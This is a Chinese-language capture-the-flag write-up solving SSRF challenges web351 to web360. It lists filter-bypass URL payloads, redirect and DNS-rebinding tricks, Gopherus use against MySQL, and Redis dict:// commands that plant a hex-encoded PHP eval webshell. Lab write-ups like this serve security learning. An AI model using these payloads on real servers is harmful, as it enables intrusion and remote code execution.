web351
简答讲解:
curl_init
初始化一个新的会话
curl_setopt
为 cURL 会话句柄设置选项
curl_setopt($ch, CURLOPT_HEADER, 0);
表示将结果输出
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
将获取的信息以文件流的形式返回
curl_exec
执行给定的cURL会话
url=http://127.0.0.1/flag.php
web352
过滤了localhost|127.0.0
url=http://127.0.1/flag.php
url=http://127.1/flag.php
url=http://127.1/flag.php
web353
可以使用16进制或8进制进行绕过
url=http://0x7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php
web354
过滤了1和0
url=http://sudo.cc/flag.php
web355
限制了长度
url=http://127.1/flag.php
url=http://0.0/flag.php
url=http://0.0.0/flag.php
web356
也是限制了长度
url=http://0.0/flag.php
url=http://0/flag.php
web357
filter_var()函数:通过指定的过滤器过滤一个变量。如果成功,则返回被过滤的数据。如果失败,则返回 FALSE
第一个参数为需要过滤的变量,第二个参数为规定要使用的过滤器的ID,第三个参数为规定一个包含标志/选项的关联数组或者一个单一的标志/选项
FILTER_VALIDATE_IP 过滤器,把值作为 IP 地址来验证。
这里过滤器要求解析出来的ip地址是有效ip,并且不是私有ip或者不是保留ip
方法1:
302跳转
使用vps搭一个:
在a.php中写入
<?php
header("Location: http://127.0.0.1/flag.php);
payload:
url=http://xxx/a.php
方法2:
DNS重绑定
访问http://ceye.io/
并注册用户,在这里进行DNS重绑定:
第一个随便填,第二个填127.0.0.1
。
然后payload:如下:
url=http://r.xxxxxx/flag.php //xxxxxx为分给你的域名
多尝试几次即可得到flag
web358
要求解析完的url以http://ctf.
开头,以show
结尾
url=http://ctf.@127.0.0.1/flag.php?show
这样parse_url()
真正解析出来的host是127.0.0.1,ctf.
变为了user字段
web359
工具下载地址https://github.com/tarunkant/Gopherus
python gopherus.py --exploit mysql
然后传到check.php中post: returl=xxxxx,但是不要忘了把下划线后面的内容url编码一次。
然后访问a.php,就可以找到flag
web360
第一种方法,和上一题类似,使用同一个工具
然后和上面一样,记得url编码
(这种方法可能失败,多尝试几次)
第二种方法,执行下面的每一步
url=dict://127.0.0.1:6379/info
url=dict://127.0.0.1:6379/config:set:dir:/var/www/html
url=dict://127.0.0.1:6379/set:shell:"\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x62\x69\x74\x5d\x29\x3b\x3f\x3e"
url=dict://127.0.0.1:6379/config:set:dbfilename:bit.php
url=dict://127.0.0.1:6379/save
然后访问bit.php,post传参bit即可